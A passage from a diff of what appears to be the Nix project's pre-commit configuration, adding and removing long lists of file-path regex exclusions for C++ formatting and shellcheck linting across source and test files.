''^src/libutil/environment-variables\.cc$'' + ''^src/libutil/error\.cc$'' + ''^src/libutil/error\.hh$'' + ''^src/libutil/exit\.hh$'' + ''^src/libutil/experimental-features\.cc$'' + ''^src/libutil/experimental-features\.hh$'' + ''^src/libutil/file-content-address\.cc$'' + ''^src/libutil/file-content-address\.hh$'' + ''^src/libutil/file-descriptor\.cc$'' + ''^src/libutil/file-descriptor\.hh$'' + ''^src/libutil/file-path-impl\.hh$'' + ''^src/libutil/file-path\.hh$'' + ''^src/libutil/file-system\.cc$'' + ''^src/libutil/file-system\.hh$'' + ''^src/libutil/finally\.hh$'' + ''^src/libutil/fmt\.hh$'' + ''^src/libutil/fs-sink\.cc$'' + ''^src/libutil/fs-sink\.hh$'' + ''^src/libutil/git\.cc$'' + ''^src/libutil/git\.hh$'' + ''^src/libutil/hash\.cc$'' + ''^src/libutil/hash\.hh$'' + ''^src/libutil/hilite\.cc$'' + ''^src/libutil/hilite\.hh$'' + ''^src/libutil/source-accessor\.hh$'' + ''^src/libutil/json-impls\.hh$'' + ''^src/libutil/json-utils\.cc$'' + ''^src/libutil/json-utils\.hh$'' + ''^src/libutil/linux/cgroup\.cc$'' + ''^src/libutil/linux/namespaces\.cc$'' + ''^src/libutil/logging\.cc$'' + ''^src/libutil/logging\.hh$'' + ''^src/libutil/lru-cache\.hh$'' + ''^src/libutil/memory-source-accessor\.cc$'' + ''^src/libutil/memory-source-accessor\.hh$'' + ''^src/libutil/pool\.hh$'' + ''^src/libutil/position\.cc$'' + ''^src/libutil/position\.hh$'' + ''^src/libutil/posix-source-accessor\.cc$'' + ''^src/libutil/posix-source-accessor\.hh$'' + ''^src/libutil/processes\.hh$'' + ''^src/libutil/ref\.hh$'' + ''^src/libutil/references\.cc$'' + ''^src/libutil/references\.hh$'' + ''^src/libutil/regex-combinators\.hh$'' + ''^src/libutil/serialise\.cc$'' + ''^src/libutil/serialise\.hh$'' + ''^src/libutil/signals\.hh$'' + ''^src/libutil/signature/local-keys\.cc$'' + ''^src/libutil/signature/local-keys\.hh$'' + ''^src/libutil/signature/signer\.cc$'' + ''^src/libutil/signature/signer\.hh$'' + ''^src/libutil/source-accessor\.cc$'' + ''^src/libutil/source-accessor\.hh$'' + ''^src/libutil/source-path\.cc$'' + ''^src/libutil/source-path\.hh$'' + ''^src/libutil/split\.hh$'' + ''^src/libutil/suggestions\.cc$'' + ''^src/libutil/suggestions\.hh$'' + ''^src/libutil/sync\.hh$'' + ''^src/libutil/terminal\.cc$'' + ''^src/libutil/terminal\.hh$'' + ''^src/libutil/thread-pool\.cc$'' + ''^src/libutil/thread-pool\.hh$'' + ''^src/libutil/topo-sort\.hh$'' + ''^src/libutil/types\.hh$'' + ''^src/libutil/unix/file-descriptor\.cc$'' + ''^src/libutil/unix/file-path\.cc$'' + ''^src/libutil/unix/monitor-fd\.hh$'' + ''^src/libutil/unix/processes\.cc$'' + ''^src/libutil/unix/signals-impl\.hh$'' + ''^src/libutil/unix/signals\.cc$'' + ''^src/libutil/unix-domain-socket\.cc$'' + ''^src/libutil/unix/users\.cc$'' + ''^src/libutil/url-parts\.hh$'' + ''^src/libutil/url\.cc$'' + ''^src/libutil/url\.hh$'' + ''^src/libutil/users\.cc$'' + ''^src/libutil/users\.hh$'' + ''^src/libutil/util\.cc$'' + ''^src/libutil/util\.hh$'' + ''^src/libutil/variant-wrapper\.hh$'' + ''^src/libutil/windows/environment-variables\.cc$'' + ''^src/libutil/windows/file-descriptor\.cc$'' + ''^src/libutil/windows/file-path\.cc$'' + ''^src/libutil/windows/processes\.cc$'' + ''^src/libutil/windows/users\.cc$'' + ''^src/libutil/windows/windows-error\.cc$'' + ''^src/libutil/windows/windows-error\.hh$'' + ''^src/libutil/xml-writer\.cc$'' + ''^src/libutil/xml-writer\.hh$'' + ''^src/nix-build/nix-build\.cc$'' + ''^src/nix-channel/nix-channel\.cc$'' + ''^src/nix-collect-garbage/nix-collect-garbage\.cc$'' + ''^src/nix-env/buildenv.nix$'' + ''^src/nix-env/nix-env\.cc$'' + ''^src/nix-env/user-env\.cc$'' + ''^src/nix-env/user-env\.hh$'' + ''^src/nix-instantiate/nix-instantiate\.cc$'' + ''^src/nix-store/dotgraph\.cc$'' + ''^src/nix-store/graphml\.cc$'' + ''^src/nix-store/nix-store\.cc$'' + ''^src/nix/add-to-store\.cc$'' + ''^src/nix/app\.cc$'' + ''^src/nix/build\.cc$'' + ''^src/nix/bundle\.cc$'' + ''^src/nix/cat\.cc$'' + ''^src/nix/config-check\.cc$'' + ''^src/nix/config\.cc$'' + ''^src/nix/copy\.cc$'' + ''^src/nix/derivation-add\.cc$'' + ''^src/nix/derivation-show\.cc$'' + ''^src/nix/derivation\.cc$'' + ''^src/nix/develop\.cc$'' + ''^src/nix/diff-closures\.cc$'' + ''^src/nix/dump-path\.cc$'' + ''^src/nix/edit\.cc$'' + ''^src/nix/eval\.cc$'' + ''^src/nix/flake\.cc$'' + ''^src/nix/fmt\.cc$'' + ''^src/nix/hash\.cc$'' + ''^src/nix/log\.cc$'' + ''^src/nix/ls\.cc$'' + ''^src/nix/main\.cc$'' + ''^src/nix/make-content-addressed\.cc$'' + ''^src/nix/nar\.cc$'' + ''^src/nix/optimise-store\.cc$'' + ''^src/nix/path-from-hash-part\.cc$'' + ''^src/nix/path-info\.cc$'' + ''^src/nix/prefetch\.cc$'' + ''^src/nix/profile\.cc$'' + ''^src/nix/realisation\.cc$'' + ''^src/nix/registry\.cc$'' + ''^src/nix/repl\.cc$'' + ''^src/nix/run\.cc$'' + ''^src/nix/run\.hh$'' + ''^src/nix/search\.cc$'' + ''^src/nix/sigs\.cc$'' + ''^src/nix/store-copy-log\.cc$'' + ''^src/nix/store-delete\.cc$'' + ''^src/nix/store-gc\.cc$'' + ''^src/nix/store-info\.cc$'' + ''^src/nix/store-repair\.cc$'' + ''^src/nix/store\.cc$'' + ''^src/nix/unix/daemon\.cc$'' + ''^src/nix/upgrade-nix\.cc$'' + ''^src/nix/verify\.cc$'' + ''^src/nix/why-depends\.cc$'' + + ''^tests/functional/plugins/plugintest\.cc'' + ''^tests/functional/test-libstoreconsumer/main\.cc'' + ''^tests/nixos/ca-fd-leak/sender\.c'' + ''^tests/nixos/ca-fd-leak/smuggler\.c'' + ''^tests/unit/libexpr-support/tests/libexpr\.hh'' + ''^tests/unit/libexpr-support/tests/value/context\.cc'' + ''^tests/unit/libexpr-support/tests/value/context\.hh'' + ''^tests/unit/libexpr/derived-path\.cc'' + ''^tests/unit/libexpr/error_traces\.cc'' + ''^tests/unit/libexpr/eval\.cc'' + ''^tests/unit/libexpr/flake/flakeref\.cc'' + ''^tests/unit/libexpr/flake/url-name\.cc'' + ''^tests/unit/libexpr/json\.cc'' + ''^tests/unit/libexpr/main\.cc'' + ''^tests/unit/libexpr/primops\.cc'' + ''^tests/unit/libexpr/search-path\.cc'' + ''^tests/unit/libexpr/trivial\.cc'' + ''^tests/unit/libexpr/value/context\.cc'' + ''^tests/unit/libexpr/value/print\.cc'' + ''^tests/unit/libfetchers/public-key\.cc'' + ''^tests/unit/libstore-support/tests/derived-path\.cc'' + ''^tests/unit/libstore-support/tests/derived-path\.hh'' + ''^tests/unit/libstore-support/tests/libstore\.hh'' + ''^tests/unit/libstore-support/tests/nix_api_store\.hh'' + ''^tests/unit/libstore-support/tests/outputs-spec\.cc'' + ''^tests/unit/libstore-support/tests/outputs-spec\.hh'' + ''^tests/unit/libstore-support/tests/path\.cc'' + ''^tests/unit/libstore-support/tests/path\.hh'' + ''^tests/unit/libstore-support/tests/protocol\.hh'' + ''^tests/unit/libstore/common-protocol\.cc'' + ''^tests/unit/libstore/content-address\.cc'' + ''^tests/unit/libstore/derivation\.cc'' + ''^tests/unit/libstore/derived-path\.cc'' + ''^tests/unit/libstore/downstream-placeholder\.cc'' + ''^tests/unit/libstore/machines\.cc'' + ''^tests/unit/libstore/nar-info-disk-cache\.cc'' + ''^tests/unit/libstore/nar-info\.cc'' + ''^tests/unit/libstore/outputs-spec\.cc'' + ''^tests/unit/libstore/path-info\.cc'' + ''^tests/unit/libstore/path\.cc'' + ''^tests/unit/libstore/serve-protocol\.cc'' + ''^tests/unit/libstore/worker-protocol\.cc'' + ''^tests/unit/libutil-support/tests/characterization\.hh'' + ''^tests/unit/libutil-support/tests/hash\.cc'' + ''^tests/unit/libutil-support/tests/hash\.hh'' + ''^tests/unit/libutil/args\.cc'' + ''^tests/unit/libutil/canon-path\.cc'' + ''^tests/unit/libutil/chunked-vector\.cc'' + ''^tests/unit/libutil/closure\.cc'' + ''^tests/unit/libutil/compression\.cc'' + ''^tests/unit/libutil/config\.cc'' + ''^tests/unit/libutil/file-content-address\.cc'' + ''^tests/unit/libutil/git\.cc'' + ''^tests/unit/libutil/hash\.cc'' + ''^tests/unit/libutil/hilite\.cc'' + ''^tests/unit/libutil/json-utils\.cc'' + ''^tests/unit/libutil/logging\.cc'' + ''^tests/unit/libutil/lru-cache\.cc'' + ''^tests/unit/libutil/pool\.cc'' + ''^tests/unit/libutil/references\.cc'' + ''^tests/unit/libutil/suggestions\.cc'' + ''^tests/unit/libutil/tests\.cc'' + ''^tests/unit/libutil/url\.cc'' + ''^tests/unit/libutil/xml-writer\.cc'' + ]; + }; + shellcheck = { + enable = true; + excludes = [ + # We haven't linted these files yet + ''^config/install-sh$'' + ''^misc/systemv/nix-daemon$'' + ''^misc/bash/completion\.sh$'' + ''^misc/fish/completion\.fish$'' + ''^misc/zsh/completion\.zsh$'' + ''^scripts/check-hydra-status\.sh$'' + ''^scripts/create-darwin-volume\.sh$'' + ''^scripts/install-darwin-multi-user\.sh$'' + ''^scripts/install-multi-user\.sh$'' + ''^scripts/install-nix-from-closure\.sh$'' + ''^scripts/install-systemd-multi-user\.sh$'' + ''^src/nix/get-env\.sh$'' + ''^tests/functional/add\.sh$'' + ''^tests/functional/bash-profile\.sh$'' + ''^tests/functional/binary-cache-build-remote\.sh$'' + ''^tests/functional/binary-cache\.sh$'' + ''^tests/functional/brotli\.sh$'' + ''^tests/functional/build-delete\.sh$'' + ''^tests/functional/build-dry\.sh$'' + ''^tests/functional/build-remote-content-addressed-fixed\.sh$'' + ''^tests/functional/build-remote-content-addressed-floating\.sh$'' + ''^tests/functional/build-remote-input-addressed\.sh$'' + ''^tests/functional/build-remote-trustless-after\.sh$'' + ''^tests/functional/build-remote-trustless-should-fail-0\.sh$'' + ''^tests/functional/build-remote-trustless-should-pass-0\.sh$'' + ''^tests/functional/build-remote-trustless-should-pass-1\.sh$'' + ''^tests/functional/build-remote-trustless-should-pass-2\.sh$'' + ''^tests/functional/build-remote-trustless-should-pass-3\.sh$'' + ''^tests/functional/build-remote-trustless\.sh$'' + ''^tests/functional/build-remote-with-mounted-ssh-ng\.sh$'' + ''^tests/functional/build-remote\.sh$'' + ''^tests/functional/build\.sh$'' + ''^tests/functional/ca/build-cache\.sh$'' + ''^tests/functional/ca/build-dry\.sh$'' + ''^tests/functional/ca/build-with-garbage-path\.sh$'' + ''^tests/functional/ca/build\.sh$'' + ''^tests/functional/ca/common\.sh$'' + ''^tests/functional/ca/concurrent-builds\.sh$'' + ''^tests/functional/ca/derivation-json\.sh$'' + ''^tests/functional/ca/duplicate-realisation-in-closure\.sh$'' + ''^tests/functional/ca/eval-store\.sh$'' + ''^tests/functional/ca/gc\.sh$'' + ''^tests/functional/ca/import-derivation\.sh$'' + ''^tests/functional/ca/new-build-cmd\.sh$'' + ''^tests/functional/ca/nix-copy\.sh$'' + ''^tests/functional/ca/nix-run\.sh$'' + ''^tests/functional/ca/nix-shell\.sh$'' + ''^tests/functional/ca/post-hook\.sh$'' + ''^tests/functional/ca/recursive\.sh$'' + ''^tests/functional/ca/repl\.sh$'' + ''^tests/functional/ca/selfref-gc\.sh$'' + ''^tests/functional/ca/signatures\.sh$'' + ''^tests/functional/ca/substitute\.sh$'' + ''^tests/functional/ca/why-depends\.sh$'' + ''^tests/functional/case-hack\.sh$'' + ''^tests/functional/check-refs\.sh$'' + ''^tests/functional/check-reqs\.sh$'' + ''^tests/functional/check\.sh$'' + ''^tests/functional/chroot-store\.sh$'' + ''^tests/functional/common\.sh$'' + ''^tests/functional/common/init\.sh$'' + ''^tests/functional/completions\.sh$'' + ''^tests/functional/compression-levels\.sh$'' + ''^tests/functional/compute-levels\.sh$'' + ''^tests/functional/config\.sh$'' + ''^tests/functional/db-migration\.sh$'' + ''^tests/functional/debugger\.sh$'' + ''^tests/functional/dependencies\.builder0\.sh$'' + ''^tests/functional/dependencies\.sh$'' + ''^tests/functional/derivation-json\.sh$'' + ''^tests/functional/dump-db\.sh$'' + ''^tests/functional/dyn-drv/build-built-drv\.sh$'' + ''^tests/functional/dyn-drv/common\.sh$'' + ''^tests/functional/dyn-drv/dep-built-drv\.sh$'' + ''^tests/functional/dyn-drv/eval-outputOf\.sh$'' + ''^tests/functional/dyn-drv/old-daemon-error-hack\.sh$'' + ''^tests/functional/dyn-drv/recursive-mod-json\.sh$'' + ''^tests/functional/dyn-drv/text-hashed-output\.sh$'' + ''^tests/functional/eval-store\.sh$'' + ''^tests/functional/eval\.sh$'' + ''^tests/functional/experimental-features\.sh$'' + ''^tests/functional/export-graph\.sh$'' + ''^tests/functional/export\.sh$'' + ''^tests/functional/extra-sandbox-profile\.sh$'' + ''^tests/functional/fetchClosure\.sh$'' + ''^tests/functional/fetchGit\.sh$'' + ''^tests/functional/fetchGitRefs\.sh$'' + ''^tests/functional/fetchGitSubmodules\.sh$'' + ''^tests/functional/fetchGitVerification\.sh$'' + ''^tests/functional/fetchMercurial\.sh$'' + ''^tests/functional/fetchPath\.sh$'' + ''^tests/functional/fetchTree-file\.sh$'' + ''^tests/functional/fetchurl\.sh$'' + ''^tests/functional/filter-source\.sh$'' + ''^tests/functional/fixed\.builder1\.sh$'' + ''^tests/functional/fixed\.builder2\.sh$'' + ''^tests/functional/fixed\.sh$'' + ''^tests/functional/flakes/absolute-attr-paths\.sh$'' + ''^tests/functional/flakes/absolute-paths\.sh$'' + ''^tests/functional/flakes/build-paths\.sh$'' + ''^tests/functional/flakes/bundle\.sh$'' + ''^tests/functional/flakes/check\.sh$'' + ''^tests/functional/flakes/circular\.sh$'' + ''^tests/functional/flakes/common\.sh$'' + ''^tests/functional/flakes/config\.sh$'' + ''^tests/functional/flakes/develop\.sh$'' + ''^tests/functional/flakes/flake-in-submodule\.sh$'' + ''^tests/functional/flakes/flakes\.sh$'' + ''^tests/functional/flakes/follow-paths\.sh$'' + ''^tests/functional/flakes/init\.sh$'' + ''^tests/functional/flakes/inputs\.sh$'' + ''^tests/functional/flakes/mercurial\.sh$'' + ''^tests/functional/flakes/prefetch\.sh$'' + ''^tests/functional/flakes/run\.sh$'' + ''^tests/functional/flakes/search-root\.sh$'' + ''^tests/functional/flakes/show\.sh$'' + ''^tests/functional/flakes/unlocked-override\.sh$'' + ''^tests/functional/fmt\.sh$'' + ''^tests/functional/fmt\.simple\.sh$'' + ''^tests/functional/function-trace\.sh$'' + ''^tests/functional/gc-auto\.sh$'' + ''^tests/functional/gc-concurrent\.builder\.sh$'' + ''^tests/functional/gc-concurrent\.sh$'' + ''^tests/functional/gc-concurrent2\.builder\.sh$'' + ''^tests/functional/gc-non-blocking\.sh$'' + ''^tests/functional/gc-runtime\.sh$'' + ''^tests/functional/gc\.sh$'' + ''^tests/functional/git-hashing/common\.sh$'' + ''^tests/functional/git-hashing/simple\.sh$'' + ''^tests/functional/hash-convert\.sh$'' + ''^tests/functional/hash-path\.sh$'' + ''^tests/functional/help\.sh$'' + ''^tests/functional/import-derivation\.sh$'' + ''^tests/functional/impure-derivations\.sh$'' + ''^tests/functional/impure-env\.sh$'' + ''^tests/functional/impure-eval\.sh$'' + ''^tests/functional/install-darwin\.sh$'' + ''^tests/functional/lang-test-infra\.sh$'' + ''^tests/functional/lang\.sh$'' + ''^tests/functional/lang/framework\.sh$'' + ''^tests/functional/legacy-ssh-store\.sh$'' + ''^tests/functional/linux-sandbox\.sh$'' + ''^tests/functional/local-overlay-store/add-lower-inner\.sh$'' + ''^tests/functional/local-overlay-store/add-lower\.sh$'' + ''^tests/functional/local-overlay-store/bad-uris\.sh$'' + ''^tests/functional/local-overlay-store/build-inner\.sh$'' + ''^tests/functional/local-overlay-store/build\.sh$'' + ''^tests/functional/local-overlay-store/check-post-init-inner\.sh$'' + ''^tests/functional/local-overlay-store/check-post-init\.sh$'' + ''^tests/functional/local-overlay-store/common\.sh$'' + ''^tests/functional/local-overlay-store/delete-duplicate-inner\.sh$'' + ''^tests/functional/local-overlay-store/delete-duplicate\.sh$'' + ''^tests/functional/local-overlay-store/delete-refs-inner\.sh$'' + ''^tests/functional/local-overlay-store/delete-refs\.sh$'' + ''^tests/functional/local-overlay-store/gc-inner\.sh$'' + ''^tests/functional/local-overlay-store/gc\.sh$'' + ''^tests/functional/local-overlay-store/optimise-inner\.sh$'' + ''^tests/functional/local-overlay-store/optimise\.sh$'' + ''^tests/functional/local-overlay-store/redundant-add-inner\.sh$'' + ''^tests/functional/local-overlay-store/redundant-add\.sh$'' + ''^tests/functional/local-overlay-store/remount\.sh$'' + ''^tests/functional/local-overlay-store/stale-file-handle-inner\.sh$'' + ''^tests/functional/local-overlay-store/stale-file-handle\.sh$'' + ''^tests/functional/local-overlay-store/verify-inner\.sh$'' + ''^tests/functional/local-overlay-store/verify\.sh$'' + ''^tests/functional/logging\.sh$'' + ''^tests/functional/misc\.sh$'' + ''^tests/functional/multiple-outputs\.sh$'' + ''^tests/functional/nar-access\.sh$'' + ''^tests/functional/nested-sandboxing\.sh$'' + ''^tests/functional/nested-sandboxing/command\.sh$'' + ''^tests/functional/nix-build\.sh$'' + ''^tests/functional/nix-channel\.sh$'' + ''^tests/functional/nix-collect-garbage-d\.sh$'' + ''^tests/functional/nix-copy-ssh-common\.sh$'' + ''^tests/functional/nix-copy-ssh-ng\.sh$'' + ''^tests/functional/nix-copy-ssh\.sh$'' + ''^tests/functional/nix-daemon-untrusting\.sh$'' + ''^tests/functional/nix-profile\.sh$'' + ''^tests/functional/nix-shell\.sh$'' + ''^tests/functional/nix_path\.sh$'' + ''^tests/functional/optimise-store\.sh$'' + ''^tests/functional/output-normalization\.sh$'' + ''^tests/functional/parallel\.builder\.sh$'' + ''^tests/functional/parallel\.sh$'' + ''^tests/functional/pass-as-file\.sh$'' + ''^tests/functional/path-from-hash-part\.sh$'' + ''^tests/functional/path-info\.sh$'' + ''^tests/functional/placeholders\.sh$'' + ''^tests/functional/plugins\.sh$'' + ''^tests/functional/post-hook\.sh$'' + ''^tests/functional/pure-eval\.sh$'' + ''^tests/functional/push-to-store-old\.sh$'' + ''^tests/functional/push-to-store\.sh$'' + ''^tests/functional/read-only-store\.sh$'' + ''^tests/functional/readfile-context\.sh$'' + ''^tests/functional/recursive\.sh$'' + ''^tests/functional/referrers\.sh$'' + ''^tests/functional/remote-store\.sh$'' + ''^tests/functional/repair\.sh$'' + ''^tests/functional/restricted\.sh$'' + ''^tests/functional/search\.sh$'' + ''^tests/functional/secure-drv-outputs\.sh$'' + ''^tests/functional/selfref-gc\.sh$'' + ''^tests/functional/shell\.sh$'' + ''^tests/functional/shell\.shebang\.sh$'' + ''^tests/functional/signing\.sh$'' + ''^tests/functional/simple\.builder\.sh$'' + ''^tests/functional/simple\.sh$'' + ''^tests/functional/ssh-relay\.sh$'' + ''^tests/functional/store-info\.sh$'' + ''^tests/functional/structured-attrs\.sh$'' + ''^tests/functional/substitute-with-invalid-ca\.sh$'' + ''^tests/functional/suggestions\.sh$'' + ''^tests/functional/supplementary-groups\.sh$'' + ''^tests/functional/tarball\.sh$'' + ''^tests/functional/test-infra\.sh$'' + ''^tests/functional/test-libstoreconsumer\.sh$'' + ''^tests/functional/timeout\.sh$'' + ''^tests/functional/toString-path\.sh$'' + ''^tests/functional/user-envs-migration\.sh$'' + ''^tests/functional/user-envs-test-case\.sh$'' + ''^tests/functional/user-envs\.builder\.sh$'' + ''^tests/functional/user-envs\.sh$'' + ''^tests/functional/why-depends\.sh$'' + ''^tests/functional/zstd\.sh$'' + ''^tests/unit/libutil/data/git/check-data\.sh$'' + ]; + }; # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153 }; - - excludes = [ - # We don't want to format test data - # ''tests/(?!nixos/).*\.nix'' - ''^tests/unit/[^/]*/data/.*$'' - - # Don't format vendored code - ''^src/toml11/.*'' - ''^doc/manual/redirects\.js$'' - ''^doc/manual/theme/highlight\.js$'' - - # We haven't applied formatting to these files yet (C++) - ''^doc/manual/redirects\.js$'' - ''^doc/manual/theme/highlight\.js$'' - ''^precompiled-headers\.h$'' - ''^src/build-remote/build-remote\.cc$'' - ''^src/libcmd/built-path\.cc$'' - ''^src/libcmd/built-path\.hh$'' - ''^src/libcmd/command\.cc$'' - ''^src/libcmd/command\.hh$'' - ''^src/libcmd/common-eval-args\.cc$'' - ''^src/libcmd/common-eval-args\.hh$'' - ''^src/libcmd/editor-for\.cc$'' - ''^src/libcmd/installable-attr-path\.cc$'' - ''^src/libcmd/installable-attr-path\.hh$'' - ''^src/libcmd/installable-derived-path\.cc$'' - ''^src/libcmd/installable-derived-path\.hh$'' - ''^src/libcmd/installable-flake\.cc$'' - ''^src/libcmd/installable-flake\.hh$'' - ''^src/libcmd/installable-value\.cc$'' - ''^src/libcmd/installable-value\.hh$'' - ''^src/libcmd/installables\.cc$'' - ''^src/libcmd/installables\.hh$'' - ''^src/libcmd/legacy\.hh$'' - ''^src/libcmd/markdown\.cc$'' - ''^src/libcmd/misc-store-flags\.cc$'' - ''^src/libcmd/repl-interacter\.cc$'' - ''^src/libcmd/repl-interacter\.hh$'' - ''^src/libcmd/repl\.cc$'' - ''^src/libcmd/repl\.hh$'' - ''^src/libexpr-c/nix_api_expr\.cc$'' - ''^src/libexpr-c/nix_api_external\.cc$'' - ''^src/libexpr/attr-path\.cc$'' - ''^src/libexpr/attr-path\.hh$'' - ''^src/libexpr/attr-set\.cc$'' - ''^src/libexpr/attr-set\.hh$'' - ''^src/libexpr/eval-cache\.cc$'' - ''^src/libexpr/eval-cache\.hh$'' - ''^src/libexpr/eval-error\.cc$'' - ''^src/libexpr/eval-inline\.hh$'' - ''^src/libexpr/eval-settings\.cc$'' - ''^src/libexpr/eval-settings\.hh$'' - ''^src/libexpr/eval\.cc$'' - ''^src/libexpr/eval\.hh$'' - ''^src/libexpr/flake/config\.cc$'' - ''^src/libexpr/flake/flake\.cc$'' - ''^src/libexpr/flake/flake\.hh$'' - ''^src/libexpr/flake/flakeref\.cc$'' - ''^src/libexpr/flake/flakeref\.hh$'' - ''^src/libexpr/flake/lockfile\.cc$'' - ''^src/libexpr/flake/lockfile\.hh$'' - ''^src/libexpr/flake/url-name\.cc$'' - ''^src/libexpr/function-trace\.cc$'' - ''^src/libexpr/gc-small-vector\.hh$'' - ''^src/libexpr/get-drvs\.cc$'' - ''^src/libexpr/get-drvs\.hh$'' - ''^src/libexpr/json-to-value\.cc$'' - ''^src/libexpr/nixexpr\.cc$'' - ''^src/libexpr/nixexpr\.hh$'' - ''^src/libexpr/parser-state\.hh$'' - ''^src/libexpr/pos-table\.hh$'' - ''^src/libexpr/primops\.cc$'' - ''^src/libexpr/primops\.hh$'' - ''^src/libexpr/primops/context\.cc$'' - ''^src/libexpr/primops/fetchClosure\.cc$'' - ''^src/libexpr/primops/fetchMercurial\.cc$'' - ''^src/libexpr/primops/fetchTree\.cc$'' - ''^src/libexpr/primops/fromTOML\.cc$'' - ''^src/libexpr/print-ambiguous\.cc$'' - ''^src/libexpr/print-ambiguous\.hh$'' - ''^src/libexpr/print-options\.hh$'' - ''^src/libexpr/print\.cc$'' - ''^src/libexpr/print\.hh$'' - ''^src/libexpr/search-path\.cc$'' - ''^src/libexpr/symbol-table\.hh$'' - ''^src/libexpr/value-to-json\.cc$'' - ''^src/libexpr/value-to-json\.hh$'' - ''^src/libexpr/value-to-xml\.cc$'' - ''^src/libexpr/value-to-xml\.hh$'' - ''^src/libexpr/value\.hh$'' - ''^src/libexpr/value/context\.cc$'' - ''^src/libexpr/value/context\.hh$'' - ''^src/libfetchers/attrs\.cc$'' - ''^src/libfetchers/cache\.cc$'' - ''^src/libfetchers/cache\.hh$'' - ''^src/libfetchers/fetch-settings\.cc$'' - ''^src/libfetchers/fetch-settings\.hh$'' - ''^src/libfetchers/fetch-to-store\.cc$'' - ''^src/libfetchers/fetchers\.cc$'' - ''^src/libfetchers/fetchers\.hh$'' - ''^src/libfetchers/filtering-source-accessor\.cc$'' - ''^src/libfetchers/filtering-source-accessor\.hh$'' - ''^src/libfetchers/fs-source-accessor\.cc$'' - ''^src/libfetchers/fs-source-accessor\.hh$'' - ''^src/libfetchers/git-utils\.cc$'' - ''^src/libfetchers/git-utils\.hh$'' - ''^src/libfetchers/github\.cc$'' - ''^src/libfetchers/indirect\.cc$'' - ''^src/libfetchers/memory-source-accessor\.cc$'' - ''^src/libfetchers/path\.cc$'' - ''^src/libfetchers/registry\.cc$'' - ''^src/libfetchers/registry\.hh$'' - ''^src/libfetchers/tarball\.cc$'' - ''^src/libfetchers/tarball\.hh$'' - ''^src/libfetchers/unix/git\.cc$'' - ''^src/libfetchers/unix/mercurial\.cc$'' - ''^src/libmain/common-args\.cc$'' - ''^src/libmain/common-args\.hh$'' - ''^src/libmain/loggers\.cc$'' - ''^src/libmain/loggers\.hh$'' - ''^src/libmain/progress-bar\.cc$'' - ''^src/libmain/shared\.cc$'' - ''^src/libmain/shared\.hh$'' - ''^src/libmain/unix/stack\.cc$'' - ''^src/libstore/binary-cache-store\.cc$'' - ''^src/libstore/binary-cache-store\.hh$'' - ''^src/libstore/build-result\.hh$'' - ''^src/libstore/builtins\.hh$'' - ''^src/libstore/builtins/buildenv\.cc$'' - ''^src/libstore/builtins/buildenv\.hh$'' - ''^src/libstore/common-protocol-impl\.hh$'' - ''^src/libstore/common-protocol\.cc$'' - ''^src/libstore/common-protocol\.hh$'' - ''^src/libstore/content-address\.cc$'' - ''^src/libstore/content-address\.hh$'' - ''^src/libstore/daemon\.cc$'' - ''^src/libstore/daemon\.hh$'' - ''^src/libstore/derivations\.cc$'' - ''^src/libstore/derivations\.hh$'' - ''^src/libstore/derived-path-map\.cc$'' - ''^src/libstore/derived-path-map\.hh$'' - ''^src/libstore/derived-path\.cc$'' - ''^src/libstore/derived-path\.hh$'' - ''^src/libstore/downstream-placeholder\.cc$'' - ''^src/libstore/downstream-placeholder\.hh$'' - ''^src/libstore/dummy-store\.cc$'' - ''^src/libstore/export-import\.cc$'' - ''^src/libstore/filetransfer\.cc$'' - ''^src/libstore/filetransfer\.hh$'' - ''^src/libstore/gc-store\.hh$'' - ''^src/libstore/globals\.cc$'' - ''^src/libstore/globals\.hh$'' - ''^src/libstore/http-binary-cache-store\.cc$'' - ''^src/libstore/legacy-ssh-store\.cc$'' - ''^src/libstore/legacy-ssh-store\.hh$'' - ''^src/libstore/length-prefixed-protocol-helper\.hh$'' - ''^src/libstore/linux/personality\.cc$'' - ''^src/libstore/linux/personality\.hh$'' - ''^src/libstore/local-binary-cache-store\.cc$'' - ''^src/libstore/local-fs-store\.cc$'' - ''^src/libstore/local-fs-store\.hh$'' - ''^src/libstore/log-store\.cc$'' - ''^src/libstore/log-store\.hh$'' - ''^src/libstore/machines\.cc$'' - ''^src/libstore/machines\.hh$'' - ''^src/libstore/make-content-addressed\.cc$'' - ''^src/libstore/make-content-addressed\.hh$'' - ''^src/libstore/misc\.cc$'' - ''^src/libstore/names\.cc$'' - ''^src/libstore/names\.hh$'' - ''^src/libstore/nar-accessor\.cc$'' - ''^src/libstore/nar-accessor\.hh$'' - ''^src/libstore/nar-info-disk-cache\.cc$'' - ''^src/libstore/nar-info-disk-cache\.hh$'' - ''^src/libstore/nar-info\.cc$'' - ''^src/libstore/nar-info\.hh$'' - ''^src/libstore/outputs-spec\.cc$'' - ''^src/libstore/outputs-spec\.hh$'' - ''^src/libstore/parsed-derivations\.cc$'' - ''^src/libstore/path-info\.cc$'' - ''^src/libstore/path-info\.hh$'' - ''^src/libstore/path-references\.cc$'' - ''^src/libstore/path-regex\.hh$'' - ''^src/libstore/path-with-outputs\.cc$'' - ''^src/libstore/path\.cc$'' - ''^src/libstore/path\.hh$'' - ''^src/libstore/pathlocks\.cc$'' - ''^src/libstore/pathlocks\.hh$'' - ''^src/libstore/profiles\.cc$'' - ''^src/libstore/profiles\.hh$'' - ''^src/libstore/realisation\.cc$'' - ''^src/libstore/realisation\.hh$'' - ''^src/libstore/remote-fs-accessor\.cc$'' - ''^src/libstore/remote-fs-accessor\.hh$'' - ''^src/libstore/remote-store-connection\.hh$'' - ''^src/libstore/remote-store\.cc$'' - ''^src/libstore/remote-store\.hh$'' - ''^src/libstore/s3-binary-cache-store\.cc$'' - ''^src/libstore/s3\.hh$'' - ''^src/libstore/serve-protocol-impl\.cc$'' - ''^src/libstore/serve-protocol-impl\.hh$'' - ''^src/libstore/serve-protocol\.cc$'' - ''^src/libstore/serve-protocol\.hh$'' - ''^src/libstore/sqlite\.cc$'' - ''^src/libstore/sqlite\.hh$'' - ''^src/libstore/ssh-store-config\.hh$'' - ''^src/libstore/ssh-store\.cc$'' - ''^src/libstore/ssh\.cc$'' - ''^src/libstore/ssh\.hh$'' - ''^src/libstore/store-api\.cc$'' - ''^src/libstore/store-api\.hh$'' - ''^src/libstore/store-dir-config\.hh$'' - ''^src/libstore/unix/build/derivation-goal\.cc$'' - ''^src/libstore/unix/build/derivation-goal\.hh$'' - ''^src/libstore/build/drv-output-substitution-goal\.cc$'' - ''^src/libstore/build/drv-output-substitution-goal\.hh$'' - ''^src/libstore/build/entry-points\.cc$'' - 